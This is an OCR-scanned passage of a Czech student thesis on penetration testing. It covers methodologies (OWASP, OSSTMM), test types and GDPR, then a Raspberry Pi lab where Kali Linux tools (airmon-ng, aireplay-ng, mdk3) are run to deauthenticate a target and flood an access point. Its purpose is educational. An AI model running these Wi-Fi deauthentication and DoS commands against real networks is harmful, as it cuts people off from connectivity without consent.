» podvrzeni pozadavku mezi riznymi strankami (CSRF),
e pouzivani komponent se znamymi zranitelnostmi,

» nedostateéné zabezpecené API. [39]

4https://github.com/OWASP /Top10/raw/master/2017/OWASP %20Top%2010%20-%202017%20RC1-
English.pdf
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9 Penetraéni testovani

Dobrym ptikladem pro¢ vyuzivat moznosti penetracniho testovani mohou byt naptiklad
firemni data, kterd jsou cennym vlastnictvim dnesnich firem. Mtze se jednat napriklad
o data o uzivatelich, zakazkach nebo finan¢énich transakcich. Firemni data se mohou dostat
do hledacku tutocnika, ktery se je bude snazit odcizit. V dobrém zajmu dané spolecnosti je si
tato data co nejsofistikovanéji chranit. V pripadé odcizeni muze dojit naptiklad k poskozeni
dobré povésti spolecnosti, finanénim ztratam a tak podobné. Problém muze predstavovat
i tak banalni véc, jako sluzba sdileni souborii mezi zaméstnanci uvnitt firmy. Sdilené
soubory nemusi byt soukromé, je to rychlé a jednoduché. Vazny problém ale nastane
v pripadé, kdy utocnik nalezne a zneuzije slabinu v zabezpeceni samotné sluzby pro sdileni
soubort a ziska tak pristup primo do daného pocitace. Po ziskani tohoto pristupu pak
pocet funkci bézi ve firemni pocitacové siti, tim vice toho teoreticky miuze utocnik proti
spolecnosti vyuzit. Ukolem osob, které se zabyvaji penetracnim testovanim, je pak zminéné

sluzby najit a zanalyzovat, zda a ptipadné jakym zpusobem by je mohl tito¢nik zneuzit. [27]

9.1 Penetracni testovani a eticky hacking

Terminy penetracni testovani a eticky hacking toho maji mnoho spoleéného. Pokud
provadime penetracni testovani nad danym subjektem, jedné se vlastné o eticky hacking.
Testovani se provadi za tucelem odhaleni a nésledné i zaceleni bezpecnostnich slabin

testovaného subjektu. [2]

9.2 Kdo je ttocnik

Uto¢nik ve smyslu pocitacového skiidce je casto oznacovan obecné zazitym pojmem hacker.
Toto oznaceni ale nemusi byt zcela spravné. Zjednodusené feceno je tieba rozliSovat mezi
utoc¢niky s dobrymi a zlymi amysly neboli white hat a black hat. Mezi priznivci hackingu

je také prijimana hackerskd etika. [2]
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9.2.1 Hackerska etika

Hackersk4 etika, kterd je uvefejnéna v The Jargon Dictionaryf’] je mezi hackery vieobecné

pfijiména a obsahuje dva hlavni principy, které zni nasledovné: [27, 28]:

1., Vira, Ze sdileni informaci je spravné a dobré, a Ze je etickou povinnosti hackeri
delit se o své poznatky psanim open-source a usnadnovdnim pristupu k informacim

a pocitacovygm zdrojim v mazimdlni mozné mire. “ [2§]

2. Vira, Ze ,nabourdavani“ do systémai pro pobaveni a ziskani zkusenosti je eticky
v poradku, dokud vsak nedojde k vandalismu, zcizeni informaci ¢i poruSent jejich

utajent. ¢ [28]

9.2.2 Black hat

Oznaceni black hat se pouziva pro takzvaného ,zlého utocnika“. Jak uz z nazvu vyplyva,
ve vétsiné pripadi se jedna o utocnika, ktery se s vyuzitim riznych utokt snazi nalézt
trhliny v zabezpeceni daného systému. V pripadé jejich tispésného nalezeni se pak pokousi
o jejich zneuziti. Cilem black hat je tedy zneuziti slabin pro vlastni prospéch nebo poskozeni
spolec¢nosti, naptiklad proniknuti do systému a ziskani prav administratora nebo odcizeni

dulezitych dat. [2) [7]

9.2.3 White hat

Oznaceni white hat se pouziva pro takzvaného ,,dobrého ttoc¢nika“. Jedna se o osobu,
ktera vystupuje v oblasti penetracniho testovani. White hat v rdmci testovani zkouméa
zabezpeceni daného systému, pricemz jeho cilem je objevit slaba mista v zabezpeceni
systému a poskytnout zpétnou vazbu testovanému subjektu, aby mohla byt sjednéana
naprava. Jeho cilem naopak neni zneuziti zjisténych slabin ve sviij prospéch. White hat je

tedy opakem k jiz zminénému black hat. [2, [7]

5Slovnik kazdého spravného hackera s diilezitymi pojmy.
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9.3 Obecné narizeni o ochrané osobnich udaju

Pojem obecné narizeni o ochrané osobnich udaji, neboli GDPR, predstavuje novou smérnici
EU, ktera nahrazuje piivodni smérnici o ochrané dat. GDPR vstoupi v platnost 25. kvétna
2018. Jedna se o nejvétsi zménu zpusobu ochrany a nakladani s osobnimi daty obcant
Evropské Unie za poslednich dvacet let. Nezalezi pritom na tom, jakou formu osobni data
maji ani na umisténi spolec¢nosti, ktera s danymi daty nakldada. Mezi osobni idaje budou
nové patfit mimo jiné také emailova adresa, IP adresa nebo cookie v uzivatelském zarizeni.
Dtlezitou casti GDPR je napriklad povinnost oznamit bezpecnosti naruseni, které se
bude tykat osobnich dat, a to do 72 hodin od prvotniho zjisténi. Bez zbytecného odkladu
budou informovani také ptimo zdkaznici, které vyuzivaji dané sluzby. Vétsi zpracovatelé
dat budou povinni z¥idit kontrolora, neboli DPO. Cinnost{ kontrolora bude dohled nad
procesem zachdazeni s osobnimi daty, ohlasovani poruseni zakona a unika osobnich dat.
Vsechny instituce budou muset implementovat zdmérnou a nezbytnou ochranu dat. S tim
také souvisi provadéni penetracnich testi pro ovéreni nové implementovanych opatteni.
V neposledni fadé bude povinna také tak zvana pseudonymizace osobnich udaja, coz
znamena skryti identity tak, aby byla zachovana moznost sbéru dalsich dat naptiklad
zakaznika bez ohledu na znalost jeho totoznosti. Je také dilezité zminit, ze osobni tdaje,
které prosly procesem pseudonymizace v zadném pripadé nejsou anonymizované.ﬁ
Pomoci nové smérnice GDPR tak bude vyvijen tlak na spolec¢nosti, které udrzuji
a zpracovavaji osobni data svych zakaznikii, aby dodrzovaly nové standardy a zasady
pro praci s osobnimi udaji po celou dobu zZivotnosti téchto dat pod hrozbou pokut, které

mohou dosdhnout a 4% celkového ro¢niho obratu nebo 20 miliont EUR. [35] 36, 37, [38]

9.4 Statistiky pocitacové kriminality

Je pomérné slozité udélat si ucelenou predstavu o tom, jak casté a rozsahlé kyberutoky
mohou byt a jak velkou cenu maji citliva data, kterymi rizné spolecnosti disponuji. Moderni
utoky jsou jiz vysoce sofistikované a dobre financované. Ptimo prezident a CEO spolecnosti

IBM Ginny Rometty pronesl, ze ,pocitacovd trestnd cinnost predstavuje nejvétsi hrozbu pro

5Data, kterd ani nepiimo nepomahaji v identifikaci ¢lovéka a nejsou s nim nijak spojitelna
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kazdou profesi, kaZdy prumysl, kazZdou firmu na sveté. “ Pro zevrubnou predstavu postaci

nékolik nize uvedenych skutecnosti:

e ve vice nez poloviné pripadii bylo vyuzito slabych nebo ukradenych hesel,

 na phishingovou piilohu kliklo 13 % lidi, pfi¢emz prumérna doba kliknuti byla velmi
kratka,

« v dusledku phishingu doslo v 10 % ptipadu k odhaleni citlivych dat,

o starsi zranitelnosti jsou stdle zneuzivany,

o v 89 % pripadu byl motivaci finan¢ni profit a Spionaz,

« oproti roku 2015 byl zaznamenan 30% narust incidentt souvisejicich s kyberkrimina-
litou,

e polovina spolecnosti s rozsahem 100 az 1000 zaméstnancu Celilo v roce 2015 nejméné
jednomu kyberutoku,

e prumérna cena jednoho zcizeného zaznamu je celosvétové 158 USD,

o skody zptusobené kyberkriminalitou dosahnou v roce 2019 trojnasobku oproti roku

2015. [32, 33]

1,500 Hacking
M Maiware
Social
Error
Misuse
Physical

1,000 Environmental

500

Breach count

= = — il Figure 4.

2005 2007 2009 2011 2013 2015 Number of brea'ches per threat action
category over time, (n=9,009)

Obréazek b: Kategorizace ttoku v letech 2005 az 2015. [32]
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9.5 Metodiky penetracniho testovani

Uceleny postup a pripadné vyuziti jiz zavedenych metodik penetra¢niho testovani, které
miize auditor pouzit, zpravidla zvysuje stupen kvality provedenych tkont. Diky danym
ovérenym postuptm se také auditor, ktery penetracni testovani u objednatele provadi, mize
vyvarovat opomenuti otestovani nékterych dulezitych zranitelnosti nebo ¢asti infrastruktury.
Kazda metodika je systematicky clenéna tak, aby byla auditorovi napomocna pti vSech
ukonech penetracniho testovani, tedy jak zacit, jakym zptsobem déle postupovat a v nepo-
sledni fadé také obsahuje dulezité informace o podobé vystupniho zavérecného zhodnoceni.
Pokud auditor provadi penetrac¢ni testovani pomoci vybrané metodiky opakované, muiize

spolu s objednatelem pozorovat vliv provedenych tprav v zabezpedeni infrastruktury. [2]

9.5.1 OWASP

Komunita odborniki, kteri se zabyvaji bezpecnosti, na svych webovych strankach nabizi
zdarma jiz ¢tvrtou verzi prirucky pro penetracni testovani.

Metodika mimo jiné predstavuje, jak by mél vypadat typicky testovaci framework,
ktery je dtlezitou soucasti celého cyklu vyvoje aplikace. Dalsi rozsahlou ¢asti prirucky
je popis penetracniho testovani webovych aplikaci, které je podle OWASP rozdéleno do

jedenacti na sebe navazujicich fazi:

e uvod a stanoveni cila,

o shér informaci,

« kontrola spravy konfigurace,
o testovani spravy totoznosti,
o testovani autentikace,

« testovani autorizace,
 testovani konfigurace session,
o testovani ovérovani vstupi,
o testovani zpracovani chyb,

» testovani slabé kryptografie,
e ovéfeni business logiky,

« testovani na strané klienta. [46]

40



V neposledni radé jsou zde také informace k tvorbé zavéreénych reportii spolu s navodem,
jak vyjadrit zavaznost zjisténych rizik. Z vyse uvedeného vyplyvd, ze metodika OWASP
je z velké casti zamérena predevsim na penetracni testovani a bezpecnost webovych

aplikaci. [46]

9.5.2 OSSTMM

Viibec prvni vydani metodiky OSSTMM se datuje do roku 2001, kdy Spanélska organizace
ISECOM zvertejnila verejné dostupnou prirucku pro penetracni testovani. Dnes je na
webovych strankach organizace dostupna jiz treti aktualizovana verze z roku 2010. Metodika
OSSTM je pomérné hodné teoreticky zamérend na proces penetrac¢niho testovani a hojné
se vyuziva v oblasti pramyslu. [2]

Dilezitym pojmem, ktery se v této metodice vyuzivd, je metrika RAV. Jedna se o Cisel-
nou hodnotu, kterd urcuje stav zabezpeceni dané infrastruktury. Tedy zda je zabezpeceni
podcenéno nebo naopak prili§ predimenzovano. Pokud je tedy vypoctena hodnota RAV
napriklad vétsi nez 100%, je zabezpeceni predimenzovano. Pro vypocet RAV jsou dulezité

tTi vstupy, kterymi jsou:

« viditelnost,
o pristup,

o davéra. [2]

Viditelnosti se oznacuje pocet cilii v dané infrastrukture, pristupem se rozumi ¢iselna
hodnota vypoctend na zakladé arovné interakce a divéra predstavuje pocet cilii, které
svoli k interakci s jinym cilem.

Z pohledu clenéni penetracniho testu rozlisuje metodika OSSTMM nasledujici ¢tyti

faze:

e uvedeni,
« interakce,
o vySetfovani,

« intervence. [2]
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V prvni fazi uvedeni dochazi k pripravé penetracniho testovani ve smyslu stanoveni
casového trvani, rozsahu penetracniho testovani a zvoleni konkrétnich typu testi. V na-
sledujici fazi interakce se stanovi cile, které spadaji do oblasti stanovené ve fazi uvedeni.
Cilem faze vySetrovani je zjisténi co nejvétsiho poctu informaci, které jsou vztazeny k ci-
lim stanovenym ve fazi interakce. Ve fazi intervence pak dochéazi k postupnému ovéreni
bezpecnostnich a poplasnych mechanismu.

Pro vytvareni zavéreénych zprav slouzi nastroj STAR. Vyhodou je moznost kontroly

vytvoreného testu jeho zaslanim spole¢nosti ISECOM. [2]

9.6 Druhy bezpecnostnich testi

Praveé bezpecnostni testy nam davaji moznost zjistit, v jakém stavu se nachéazi zabezpeceni

dané pocitacové sité. Na bezpecnostni testy miizeme pohlizet ze dvou thla pohledu:

e podle provadénych tkont,

 podle znalosti zucastnénych stran. [12]

9.6.1 Bezpecnostni testy podle provadénych tkont

Podle provadénych tkonii pri testovani miizeme rozlisit nasledujici druhy testi, které se
vzajemné prolinaji a v praxi se nékdy pouzivaji i jako synonyma i kdyz jsou mezi nimi

rozdily:

o hledani slabych mist,
e penetracni testovani a red teaming,

o systémové testy. [12, 27]

Nejméné obsahlé je hledani slabych mist. Dochazi pouze k prizkumu sité s vyuzitim
skenovani portii. V pripadé, ze dojde k nalezeni nékterych slabych mist, nepodnikaji se zadné
dalsi akce véetné pokusu o zneuziti zjisténych slabin neboli exploitaci. Pro vyhledavani
slabych mist v zabezpeceni sité existuji také automatizované nastroje, napriklad Nessus.

Exploitaci se zabyva az samotné penetracni testovani, jehoz cilem je zneuzit veskerych

dostupnych zjisténych slabin v zabezpeceni a ovladnuti celé sité. V praxi se pouziva také
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pojem red teaming. Jedna se o rozsiteni pohledu na zabezpeceni informaci, pri kterém se

vyuziva mimo jiné i testovani internetovych aplikaci nebo socialnich ttok.
Nejkomplexnéjsim druhem jsou pak systémové testy, jejichz cilem je objeveni novych

chyb ¢ chybnych bezpecnostnich predpokladi. Uspésné provedeny systémovy test muiize

napiiklad poukazat na moznost preteceni bufferu nebo nespravné nastavenych prav. [12] 27]

Red Teaming
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}

Ifllll Testowini ID5 f Aﬁ-li pb \l III

|
| War dialing I| | |
Prifzkum sité | |

f |
\ /

Explaitowvand chyb ,."ll

Hieddni hessl napsanych B
aa listedva pod kl Seainicl
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Obrazek 6: Testy podle provadénych tkonu. [27]
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9.6.2 Bezpecnostni testy podle irovné automatizace

Podle zptisobu provedeni test je muzeme rozdélit do t¥i skupin:

e manualni,
o automatizované,

« poloautomatizované. [I]

Manualni testy, jak jiz z nazvu vyplyva, jsou auditorem vykonavany plné manualnim

zpusobem. Vykonava je tedy c¢lovék. Manualni testy maji své vyhody, ale i nevyhody.
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Mezi jednoznac¢nou vyhodu patii moznost konfigurace sofistikovaného testu primo na miru
zkoumaného subjektu. Naopak nejvétsi nevyhodou manuélnich testu je jejich ¢asova naroc-
nost spolu s nutnosti dobré znalosti nepreberného mnozstvi technologii. Automatizované
testy jsou da se Tict opakem k manudlnim testim. Testy byly vytvoreny profesionaly
z oboru, kteri se testovanim zabyvaji. Vyhodou oproti manualnim testim je pak radové
nevyhody patfi nemoznost otestovat veskera slaba mista a zranitelnosti. Posledni skupinou
jsou poloautomatizované testy, které prestavuji jakysi kompromis mezi testy manualnimi

a automatizovanymi, pricemz se snazi tézit z vyhod obou predchozich skupin. [1]

9.6.3 Bezpecnostni testy podle znalosti zticastnénych stran

Toto rozdéleni test vyuziva naptiklad jiz zminénd metodika OSSTMM. Testt rozlisujeme
celkem Sest, pricemz jednotlivé testy se lisi mirou znalosti cile o provadéném auditu a také

mirou znalosti auditora o daném cili:

« Blind,

e Double Blind,

« Gray Box,

e Double Gray Box,
e Tandem,

« Reversal. [12]

> > >
Blind Gray Box Tandem
Znalosti
cileo
auditu Double
Double Blind )

Znalosti auditora o cili

Obrézek 7: Druhy testi podle miry znalosti. [12]

44



Pochopeni vyse uvedenych testl, v souvislosti s mirami znalosti auditora a cile, napo-
maha ilustrac¢ni obrazek 7, ktery je uveden na predchozi strané. Na uvedeném obrazku je
patrné rozdéleni jednotlivych testi podle znalosti auditora o cili na ose x a také podle
znalosti cile o auditu na ose y. [12]

Prvnim typem testu je test nazvany Blind. Muzeme fici, ze z pohledu auditora se
dany cil, ktery auditor testuje, je na test pripraven a zna veskeré jeho podrobnosti, tedy
napfiklad kdy bude probihat, jak dlouho a konkrétni napln auditu. Z vyse uvedeného tedy
vyplyva, ze pomoci testu typu Blind miizeme pomérné dobre otestovat znalosti konkrétniho
auditora. [12]

Dalsim typem testu je test Double Blind, ktery je téz oznacovan jako Black Box. Tento
typ testu se fadi mezi nejpouzivanéjsi. Jedna se o modifikaci testu Blind. Rozdil téchto
dvou testu je dobte patrny z vyse uvedeného obrazku. Zasadnim rozdilem je fakt, ze dany
cil v tomto typu testu nedisponuje vesmés zadnymi dilezitymi informacemi o planovaném
auditu. Cil tedy nevi kdy nebo co konkrétné se bude testovat. Auditorovy znalosti obsahuji
pouze zakladni informace o cili jako jsou vstupy a vystupy aplikace. Nedisponuje vsak
znalostmi vnitin{ struktury aplikace. [1, 12]

Testy typu Gray Box a Double Gray Box se od sebe odlisuji mirou dostupnych informaci
daného cile o planovaném auditu. V pripadé testu Gray Box ma cil k dispozici detailni
informace véetné konkrétniho planovaného priubéhu testu. Naopak v pripadu testu Double
Gray Box cil nezna podrobnosti o tom, odkud budou ttoky vedeny. Tim docilime otestovani
obrany cile na neoc¢ekavané utoky. Co se auditora tyce, Gray Box i Double Gray Box testy
dobfe poslouzi k otestovani jeho znalosti a dovednosti véetné programovani. [1I, [12]

Tandem testy byvaji vyuzivany primo pracovniky dané spolecnosti, naptiklad samot-
nymi spravci. Obé ztucastnéné strany audity, tedy auditor a cil planovaného auditu, maji
dostupné veskeré informace o naplanovaném auditu. Vyhodou tohoto typu testu je jeho
komplexnost, naopak nevyhodou je diky dostupnym znalostem obou stran nemoznost
otestovani neoc¢ekavanych ttoku. [12]

Poslednim typem testu je Reversal. Tento test je opakem testu typu Blind. Auditor
disponuje veskerymi dostupnymi informacemi o cili, naopak cil neméa informace o naplano-

vaném auditu prakticky zadné. [12]
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9.7 Vlastni testovaci scénar

P1i realizaci penetracnich testi je obecné doporuceno drzet se ovérenych metodik hlavné
z toho duvodu, aby se tak rikajic na nic nezapomnélo. Auditor, ktery je penetra¢nim
testovanim daného cile povéreny, si ale miize vytvorit i vlastni metodiku neboli pracovni
postup, ktery pro danou situaci vyuzije. I vlastni vytvoreny testovaci scénaf musi spliovat

urcitd kritéria a muzeme ho tak rozdélit do ¢tyt pomysinych fazi. [1]

9.7.1 Cil a rozsah testu

Na zacatku je dilezité stanovit cil a rozsah penetracéniho testovani. Bezdratovou sit lze
naptiklad testovat zevnitt i zvenci. Stanoveni téchto parametri je dilezité pro nasledny

vhodny vybér testovacich nastroji, které budou pro testovani pouzity. [I]

9.7.2 Sbér informaci a dat

V této fazi dochazi ke sbéru dat a informaci o stanoveném cili penetra¢niho testovani,
a to pomoci nastroji, které byly zvoleny v prvni fazi na zakladé stanoveni parametri pro

penetracni testovani. [1]

9.7.3 Skenovani a exploitace

Vv

testovani. V této fazi se auditor pokousi zneuzit zjisténych slabin v zabezpecéeni daného

cile. [1]

9.7.4 ZavéreCna zprava

Velmi dilezitou soucasti kazdého realizovaného penetracniho testovani by meéla byt vysledna
zprava neboli report. Tuto zpravu sestavuje auditor na zakladé provedenych tikont a predava
ji odpovédné osobé na strané zakaznika. Smyslem reportu je seznamit objednatele testu
s priubéhem testovani a zjisténymi vysledky. Zavérecnou zpravu je vhodné vyhotovit

v takové formé, aby byla pochopitelnd pro osobu, které je urcena. [1]
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10 Raspberry Pi prakticky

V praktické ¢asti byly vyuzity dva kusy jednodeskového pocitace Raspberry Pi 3, tedy
nejnovejsi model. Jeden kus sam vlastnim a druhy mi byl zaptijcen vedouci této prace.
Na jednom kusu byla nainstalovana linuxova distribuce Kali Linux pro tucely testovani.
Da se tict, ze toto Raspberry Pi bude vystupovat v roli potencialniho itoénika. Druhy
kus Raspberry Pi 3 bude predstavovat cil. Na tomto Raspberry Pi 3 bude bézet operacni
systém Raspbian.

Z pohledu sifové konektivity ma Raspberry Pi model 3 na rozdil od svych predchiidci
¢ip Broadcom BCM43438 s vestavénou Wi-Fi spolu s Bluetooth. Konkrétné IEEE 802.11n
2.4 GHz pro Wi-Fi a Bluetooth 4.1. Je zde tedy predpoklad, Ze tato nové dostupna
konektivita bude vyuzivana napiiklad v doméci automatizaci, IoT a podobné. Kromé vyse

uvedeného je zde dostupné i pripojeni Ethernet IEEE 802.3 stejné jako u minulych modeli.

Obrazek 8: Raspberry Pi 3.
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10.1 Sestaveni Raspberry Pi

Proces sestaveni v pripadé jednodeskovych pocitactt v podstaté neexistuje. V pripadé
Raspberry Pi jsou vSechny dilezité hardwarové soucasti pritomné na desce jiz z vyroby.
Pro oziveni pak staci pouze napdjeci zdroj a pamétova karta se zvolenym operacnim

systémem.

10.2 Instalace Kali Linuxu do Raspberry Pi

Jiz od existence Raspberry Pi 1 poskytuje Offensive Security moznost instalace linuxové
distribuce Kali Linux do jednodeskovych pocita¢i Raspberry Pi pro tcely penetracniho
testovani. Pro moznost instalace Kali Linuxu do Raspberry Pi je nutné mit k dispozici

nasledujici vybaveni:

o Raspberry Pi,

e mnapajeci zdroj,

« pamétovou kartu typu microSD,

« instalac¢ni obraz Kali Linux,

o HDMI kabel pro ptripojeni obrazovky,

o mys a klavesnici.

Instala¢ni obraz Kali Linux pro Raspberry Pi lze najit na oficidlnich webovych strankach
Offensive Security[] Po stazeni dostaneme archiv s priponou .xz. Pro dalsi postup je nutné
z archivu extrahovat samotny instala¢ni obraz s ptiponou .img. Nyni je mozné zahdjit
instalaci opera¢niho systému na pamétovou kartu. Pro Raspberry Pi 3 a Kali Linux je
nutnd pamétova karta typu microSD o velikosti miniméalné 8 GB. Pokud nechceme prijit
o moznost pozdéjsiho rozsiteni Kali Linuxu o mnoho dalsich nastroji a frameworki, je
vhodné pouzit pamétovou kartu s kapacitou 16 GB. Vyhneme se tak nutnosti reinstalace
z duvodu nedostatku volné paméti. Verze pro Raspberry Pi totiz v zdkladu zdaleka

neobsahuje tolik néstroju jako verze pro architekturu procesoru x86/x64.

"https://www.offensive-security.com /kali-linux-arm-images /
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Pro zapis instalacniho obrazu na pamétovou kartu je vhodné vyuzit nékterou ze zdarma
dostupnych aplikaci. Prikladem je open source aplikace Etchelﬂ kterad je zdarma dostupna

pro operacni systém Windows, Linux i MacOS.

kali-2017...-rpi2.img Built...eader .

‘FETCHER @iresin.io

Obréazek 9: Zapis obrazu na pamétovou kartu pomoci Etcher.

Po dokonceni procesu zapisu instala¢niho obrazu je vSe pripraveno. Nyni staci vlozit
pamétovou kartu s Kali Linux do Raspberry Pi a pripojit napdjeni. Poté se Raspberry
Pi automaticky zapne. Po tispésném bootovani se objevi prihlasovaci obrazovka. Pro

prihlaseni je nutné zadat prihlasovaci tdaje, které jsou standardné nasledujici:

 prihlasovaci jméno: root,

e heslo: toor.

Po prvnim spusténi operacniho systému je vhodné provést aktualizaci databaze balickt
ze zdrojl, které jsou uvedeny v /etc/apt/sources.list a pripadné také instalaci novejsich
balicki, pokud jsou dostupné. To provedeme zadanim dvojice nasledujicich ptrikazi do

okna Terminalu:

$ apt-get update

$ apt-get upgrade

8https://etcher.io
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Obrézek 10: Prostredi Kali Linux v Raspberry Pi.

10.3 Monitorovaci mod

Pro uspésné provedeni utoki je nutné prepnout Wi-Fi kartu do takzvaného monitorovaciho
modu, nékdy také oznacovaného jako promiskuitni. Tento méd je specificky tim, ze dovoluje
monitorovat veskerou komunikaci v dosahu antény, tedy i tu, kterd danému zatizeni neni
urcena.

U Raspberry Pi 3 jsem narazil na problém pti pokusu pouzit monitorovaci mod kvili
ovladaciim od spolec¢nosti Broadcom. Vestavéna Wi-Fi karta totiz tento méd nepodporuje.
Je zde sice moznost jak toto nastaveni obejit diky tpravé ﬁrmwanﬂ ale vzhledem k moz-
nému riziku poskozeni jsem se touto cestou nevydal. Misto tprav firmwaru jsem pro tento
utok vyuzil vlastni Wi-Fi adaptér do USB portu Edimax EW-7318USg.

Nejprve je nutné zjistit dostupna bezdratova rozhrani. Vsechna bezdratova rozhrani se

v konzoli vypisi po zadani prikazu:
$ iwconfig

Po zjisténi nazvu bezdratového rozhrani, ktery je pfirazen pouzité USB Wi-Fi karté
muzeme danou kartu prepnout do monitorovaci médu. Vyuzijeme skriptu airmon-ng

a prepnuti provedeme zadanim prikazu:

9https://github.com/seemoo-lab/nexmon
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$ airmon-ng start wlanO

kde wlan0 znaci zjisténé bezdratové rozhrani. Po pouziti tohoto prikazu se ve vypise
dostupnych bezdratovych rozhrani objevi nové rozhrani wlanOmon, které oznacuje rozhrani
s monitorovacim modem.

:~# iwconfig
0 no wireless extensions.

:tho no wireless extensions.

lan@mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

Obrazek 11: Aktivni monitorovaci maod.

V nékterych pripadech mohou nastat potize souvisejici s monitorovacim moédem. Napti-
klad nelze nalézt bezdratové sité, jejich klienty a podobné. Resenim je ukonéeni konfliktnich

procesti pomoci prikazu:
$ airmon-ng check kill

Mezi casté konfliktni procesy patii nasledujici procesy:

e wpa_ supplicant
o NetworkManager,
o dhclient.

Po dokonceni testovani, kdyz je monitorovaci mod jiz nepotiebny, je vhodné jej deakti-

vovat. Deaktivaci provedeme pouzitim nasledujiciho ptrikazu:

$ airmon-ng start wlanO

10.4 Odriznuti cile od sité

Cilem tohoto utoku je znemoznit cili sitovou komunikaci pomoci zasilani deautentizac¢nich
paketti. Mimo jiné se tento tutok také vyuziva pri prolamovani hesel do bezdratovych siti

se zabezpecenim WPA.
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10.4.1 Odriznuti pomoci Aireplay-ng

Pro nalezeni cilové sité, ke které je pripojen cil, na ktery budeme ttocit, vyuzijeme
airodump-ng, ktery slouzi pro zachytavani paketi. Nejprve je ale nutné aktivovat monito-
rovaci méd na bezdratové karté viz [10.3l

Jako parametr pouzijeme zjisténé bezdratové rozhrani.
$ airodump-ng wlanOmon

Diky vyse uvedenému piikazu zjistime BSSID pristupového bodu, ke kterému je cilové
Raspberry Pi pripojeno. Déale také dostaneme jeho MAC adresu, kterou budeme pottebovat
pro dalsi postup.

root@kali: ~ o ® O
File Edit View Search Terminal Help

CH 5 ][ Elapsed: 2 mins ][ 2017-07-04 10:23

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH

14:DD:A9:CE:8B: - 44 5 0 13 b54e WPAZ CCMP  PSK
74:EA:3A:D3:4F:12 -8 42 ] © 5 54 . WPAZ CCMP  PSK

BSSID STATION PWR  Rate Lost Frames Probe

14:DD:A9:CE:8B:E0 B8:27:EB:4E:B1:7E -35

Obréazek 12: Vyhledani bezdratovych siti a zarizeni.

Nyni jiz mame vSechny potfebné parametry pro odfiznuti cile od sité. K tomu vyuzijeme
aireplay-ng s nékolika parametry, kterymi jsou typ utoku, pocet odeslanych paketi,

BSSID sité, MAC adresa cile a rozhrani. Konkrétni prikaz tedy vypada nasledovneé:

$ aireplay-ng --deauth 0 -a 14:DD:A9:CE:8B:E0 -c B8:27:EB:4
E:B1:7E wlanOmon

V pripadé tohoto konkrétniho prikazu --deauth 0 znamena, zZe deautentizacni pakety
budou zasilany cyklicky dokud nedojde ke stisknuti klavesové zkratky CTRL+C pro

preruseni. Po dobu zasilani cil nebude schopen komunikovat skrze sif.
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root@kali: ~ e ® 0
File Edit View Search Terminal Help

Waiting for beacon frame (BSSID: 14:DD:A9:CE:8 : channel 13

Sending directed DeAuth. STMAC: [BS8: ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]
ACKs]

[
Sending 64 directed DeAuth. STMAC: [BS: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [BS: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [BS: [
Sending 64 directed DeAuth. STMAC: [B8:27:EB:4E:B1: [34] 34
Sending 64 directed DeAuth. STMAC: [B8:27:EB:4E:B1l: [
Sending 64 directed DeAuth. STMAC: [B8:27:EB:4E:B1: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [BS: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [B8: [
Sending 64 directed DeAuth. STMAC: [BS: [

ORI

Obréazek 13: Proces zasilani deautentizacnich paketi.

File Edit Tabs Help

Obrézek 14: Ping na Raspberry Pi cile.

10.4.2 Odriznuti pomoci MDK3

Dalsim zpiisobem, jak vynutit odpojeni cilového Raspberry Pi od daného pristupového
bodu, je pouziti nastroje MDK3. Tento nastroj zneuziva béznych slabin protokolu IEEE
802.11 a disponuje nékolika rezimy tutoku. Jednim z rezimt je i deautentizace. Pouzitim
tohoto rezimu dojde k odpojeni vsech nalezenych klientskych stanic. Pro provedeni ttoku
musime znat BSSID cilového pristupového bodu a kanal, na kterém vysila. Tyto informace

zjistime nasledujicim prikazem:
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$ airodump-ng wlanOmon
Poté zahajime utok v rezimu deautentizace, a to zadanim ptikazu:
$ mdk3 wlanOmon d 14:DD:A9:CE:8B:E0 -c 13

Parametr d zna¢i pouzity rezim, prepinac c zvoleny kanél.

File Edit Tabs Help
. from b
from b
from
from
from
from b
from

from b

1
.1
.1

1

1

1

ination H

Obrézek 15: Ping na cilovém Raspberry Pi.

10.5 DoS atok na pristupovy bod

Znemoznit cilovému Raspberry Pi komunikaci po siti pomoci odepreni sluzby miizeme
provést realizaci DoS ttoku na pristupovy bod, ke kterému je cil ptipojen. Predpokla-
dem tuspésného provedeni ttoku je vyuziti monitorovaciho moédu bezdratové karty viz
kapitola [10.3]

Pro tento utok se opét nabizi vyuziti nastroje MDK3. Principem utoku je zasilani
velkého mnozstvi pozadavku na pripojeni k danému pristupovému bodu, nasledkem c¢ehoz
bude pristupovy bod zahlceny a prestane reagovat. Pro provedeni utoku potiebujeme
znat BSSID pristupového bodu. Toho docilime pouzitim néstroje airodump-ng spolu

s rozhranim s aktivnim monitorovacim médem viz nize uvedeny ptikaz:

o4



$ airodump-ng wlanOmon
Jakmile zname cilové BSSID mtzeme zahajit utok zadanim nésledujiciho prikazu:
$ mdk3 wlanOmon a -a 14:DD:A9:CE:8B:E0 -m

Dulezity je predevsim parametr a, kterym se nastavuje fezim Authentication DoS. Prepinac¢
a znamena, ze utok bude provadén na konkrétni pristupovy bod, nikoliv na vsechny, které
jsou v dosahu a prepina¢ m znamena pouziti validnich MAC adres z databaze OUI.

V idealnim pripadé by béhem nékolika okamzikt byl ptistupovy bod zahlcen pozadavky
a prestal odpovidat. Klientské stanice, které jsou k nému ptipojeny by takzvané zamrzly
a sitova komunikace by se stala nefunkéni. Zaroven by bylo znemoznéno pripojeni dalsich
